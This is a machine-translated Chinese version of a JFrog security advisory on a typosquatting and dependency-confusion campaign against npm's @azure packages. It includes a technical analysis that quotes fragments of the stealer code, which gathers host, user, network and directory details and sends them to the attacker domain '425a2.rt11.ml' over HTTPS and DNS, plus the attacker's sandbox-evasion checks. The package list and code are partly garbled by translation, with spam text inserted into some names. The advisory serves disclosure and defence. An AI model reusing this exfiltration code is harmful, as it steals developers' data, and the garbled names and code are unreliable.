大规模的npm攻击使用恶意包针对Azure开发人员
JFrog安全研究团队发现了数百个恶意软件包,旨在在一次大规模的拼写攻击中窃取PII

JFrog安全研究团队持续监测流行的开源软件(OSS)存储库与我们的自动化工具,以避免潜在的软件供应链安全威胁,并报告任何漏洞或恶意包发现给存储库维护者和更广泛的社区。
两天前,我们的几个自动分析器开始对npm Registry中的一组包发出警报。这组特殊的包在几天内稳步增长,从大约50个包增加到200多包(截至3月21日)。
在手动检查了其中一些包后,很明显这是针对整个@azureNPM范围,攻击者使用自动脚本创建帐户并上传覆盖整个范围的恶意包。目前,这些包的恶意有效载荷是PII(个人身份信息)窃取者。
整个恶意包被泄露给了npm维护者,这些包很快就被删除了。
目标是谁?
攻击者的目标似乎是所有使用包的npm开发人员@azure范围,使用排字攻击。
除了@azure范围,几个包从以下范围也是针对的-@azure-rest,@azure-tests,@azure-tools而且@cadl-lang.
由于这组合法软件包每周被下载数千万次,因此一些开发人员很有可能会被拼写攻击成功愚弄。
软件供应链攻击采用什么方法?
攻击方法是排字攻击者只需创建一个新的(恶意的)包,其名称与现有的@azure作用域包相同,但删除了作用域名称.
例如,这是一个合法的azure npm包-

而它的恶意对手-

这样做了(至少)218个包。已披露软件包的完整列表发布在JFrog的安全研究网站并作为这篇文章的附录。
攻击者依赖的事实是,一些开发人员在安装包时可能会错误地忽略@azure前缀。例如,跑步NPM安装核心跟踪由于错误,而不是正确的命令-NPM install @azure/core-tracing
除了排字感染方法外,所有恶意包都有极高的版本号(例如99.10.9),这表明是依赖混淆攻击。一种可能的猜测是,攻击者试图将目标锁定在微软/Azure内部网络上运行的开发人员和机器上,此外还针对常规npm用户进行了基于排版的攻击。如前所述,我们没有对这种攻击载体进行研究,因此这只是一个猜想。
使用自动化模糊攻击来源
由于攻击的规模,很明显攻击者使用了一个脚本来上传恶意包。攻击者还试图隐藏所有这些恶意包都是由同一作者上传的事实,方法是为每个上传的恶意包创建一个唯一的用户(使用随机生成的名称)

恶意有效载荷的技术分析
如前所述,这些包的恶意有效载荷是PII窃取/侦察有效载荷。
恶意代码一旦安装包就会自动运行,并泄漏以下详细信息-
- 目录列出以下目录(非递归)-
- C: \
- D: \
- /
- /家庭
- 用户名
- 用户的主目录
- 当前工作目录
- 所有网口的IP地址
- 已配置DNS服务器的IP地址
- (成功)攻击包的名称
const td = {p: package, c: __dirname, hd: os.homedir(), hn: os.hostname(), un: os.userInfo()。用户名、dns: JSON.stringify (dns.getServers ()), ip: JSON.stringify (gethttpips ()), dirs: JSON.stringify (getfile([“C: \ \”、“D :\\","/","/ 家”)),}
这些细节是通过两个泄露向量泄露的
- HTTPS POST到硬编码的主机名-“425a2.rt11.ml”。
- DNS查询到“
.425a2.rt11.”其中 被泄漏的细节替换,连接在一起作为十六进制字符串-
Var hostname = "425a2.rt11.ml";query_string = toHex (pkg.hn) +“。”+ toHex (pkg.p) +“。”+ toHex (pkg.un) +“。”+ getPathChunks (pkg.c) +“。”+ getIps() +“。”+主机名;...dns.lookup (query_string)
我们怀疑这个恶意有效载荷要么是用于对脆弱目标的初始侦察(在发送更大的有效载荷之前),要么是针对Azure用户(可能是微软开发人员)的漏洞赏金狩猎。
该代码还包含一组笨拙的测试,可能是为了确保恶意负载不会在攻击者自己的机器上运行:
函数isValid(hostname, path, username, dirs) {if (hostname == "DESKTOP-4E1IS0K" && username == "daasadmin" && path. startswith ('D:\\TRANSFER\\')){返回false;}……Else if (hostname == 'lili-pc'){返回false;}……Else if (hostname == 'aws-7grara913oid5jsexgkq'){返回false;}……Else if (hostname == 'instance'){返回false;}……返回true;}
我正在使用JFrog x射线,我是否受到保护?
JFrog x光用户不会受到这种攻击。
在任何公开披露之前,JFrog安全研究团队将所有经过验证的发现,如发现的恶意包和开源包中的零日漏洞,添加到我们的Xray数据库中。任何对这些恶意包的使用都会在x射线中标记为漏洞。
与往常一样,Xray中标记的任何恶意依赖项都应立即删除。
除了Xray对检测到的恶意包提供保护外,JFrog Artifactory还自动保护用户免受依赖混淆攻击优先解决特性,因为存储库上托管的工件打开了该特性,因此将不会在公共存储库中查找。
我是一个使用目标包的Azure开发人员,我应该怎么做?
通过检查它们的名称以@azure*作用域开始,确保您安装的包是合法的包。
这可以做到,例如,通过更改您的当前目录到您想要测试的npm项目,并运行以下命令-
NPM list | grep -f packages.txt
其中“packages.txt”包含受影响软件包的完整列表(参见附录A)。
如果返回的任何结果不是以“@azure*”范围开头,则可能受到了此攻击的影响。
结论
幸运的是,由于这些软件包很快就被发现并公开了(大约在它们发布后2天),所以它们似乎没有大量安装。软件包下载数量参差不齐,但平均每个软件包下载50次左右。
很明显,npm维护者非常重视安全性。他们的行为多次证明了这一点,例如抢先阻止特定的包名,以避免未来的拼写错误流行包维护者的双因素身份验证需求.
然而,由于供应链攻击的迅速增加,特别是通过npm和PyPI包存储库,似乎应该增加更多的审查和缓解措施。例如,在npm用户创建上添加CAPTCHA机制将不允许攻击者轻松地创建任意数量的用户,从而可以从这些用户上传恶意包,从而使攻击识别更容易(以及基于上传帐户的启发式阻止包)。除此之外,将自动包过滤作为安全软件管理过程的一部分(基于SAST或DAST技术(最好是两者都有))的需求可能是不可避免的。
除了Xray提供的安全功能之外,JFrog还提供几个开源工具这可以帮助识别恶意NPM包。这些工具既可以集成到当前的CI/CD管道中,也可以作为独立的实用程序运行。
与JFrog安全研究保持最新
在我们的JFrog安全研究团队中跟踪最新的发现和技术更新安全研究网站并在推特上@JFrogSecurity.
附录A -检测到的恶意包
| agrifood-farming ai-anomaly-detector ai-document-translator arm-advisor arm-analysisservices arm-apimanagement arm-appconfiguration arm-appinsights arm-appplatform arm-appservice arm-attestation arm-authorization arm-avs arm-azurestack arm-azurestackhci arm-batch arm-billing arm-botservice arm-cdn arm-changeanalysis arm-cognitiveservices arm-commerce arm-commitmentplans arm-communication arm-compute arm-confluent arm-consumption arm-containerinstance arm-containerregistry arm-containerservice arm-cosmosdb arm-customerinsights arm-databox arm-databoxedge arm-databricks arm-datacatalog arm-datadog arm-datafactory arm-datalake-analytics arm-datamigration arm-deploymentmanager arm-desktopvirtualization arm-deviceprovisioningservices arm-devspaces arm-devtestlabs arm-digitaltwins arm-dns arm-dnsresolver arm-domainservices arm-eventgrid arm-eventhub arm-extendedlocation arm-features arm-frontdoor Arm-hanaonazure arm-hdinsight |
arm-healthbot arm-healthcareapis arm-hybridcompute arm-hybridkubernetes arm-imagebuilder arm-iotcentral arm-iothub arm-keyvault arm-kubernetesconfiguration arm-labservices arm-links arm-loadtestservice 钳制 arm-logic arm-machinelearningcompute arm-machinelearningexperimentation arm-machinelearningservices arm-managedapplications arm-managementgroups arm-managementpartner arm-maps arm-mariadb arm-marketplaceordering arm-mediaservices arm-migrate arm-mixedreality arm-mobilenetwork arm-monitor arm-msi arm-mysql arm-netapp arm-network arm-notificationhubs arm-oep arm-operationalinsights 手臂运作 arm-orbital arm-peering arm规则 arm-portal arm-postgresql arm-postgresql-flexible arm-powerbidedicated arm-powerbiembedded arm-privatedns arm-purview arm-quota arm-recoveryservices arm-recoveryservices-siterecovery arm-recoveryservicesbackup arm-rediscache arm-redisenterprisecache arm-relay arm-reservations arm-resourcegraph |
arm-resourcehealth arm-resourcemover arm-2022世界杯阿根廷预选赛赛程resources arm-2022世界杯阿根廷预选赛赛程resources-subscriptions arm-search arm-security arm-serialconsole arm-servicebus arm-servicefabric arm-servicefabricmesh arm-servicemap arm-signalr arm-sql arm-sqlvirtualmachine arm-storage arm-storagecache arm-storageimportexport arm-storagesync arm-storsimple1200series arm-storsimple8000series arm-streamanalytics arm-subscriptions arm支持 arm-synapse arm-templatespecs arm-timeseriesinsights arm-trafficmanager arm-videoanalyzer arm-visualstudio arm-vmwarecloudsimple arm-webpubsub arm-webservices arm-workspaces cadl-autorest cadl-azure-core cadl-azure-resource-manager cadl-playground cadl-providerhub cadl-providerhub-controller cadl-providerhub-templates-contoso cadl-samples codemodel communication-chat 通信 communication-identity communication-network-traversal communication-phone-numbers communication-short-codes communication-sms confidential-ledger core-amqp core-asynciterator-polyfill core-auth core-client-1 核心的http |
core-http-compat core-lro core-paging core-rest-pipeline core-tracing 核心xml 重复数据删除 digital-twins-core dll-docs dtdl-parser eslint-config-cadl eslint-plugin-azure-sdk eventhubs-checkpointstore-blob eventhubs-checkpointstore-table extension-base helloworld123ccwq identity-cache-persistence identity-vscode iot-device-update iot-device-update-1 iot-modelsrepository keyvault-admin mixed-reality-authentication mixed-reality-remote-rendering modelerfour monitor-opentelemetry-exporter oai2-to-oai3 openapi3 opentelemetry-instrumentation-azure-sdk pnpmfile.js prettier-plugin-cadl purview-administration purview-catalog purview-scanning quantum-jobs storage-blob-changefeed storage-file-datalake storage-queue synapse-access-control synapse-artifacts synapse-managed-private-endpoints synapse-monitoring synapse-spark test-public-packages test-utils-perf testing-recorder-new testmodeler video-analyzer-edge videojs-wistia web-pubsub web-pubsub-express |
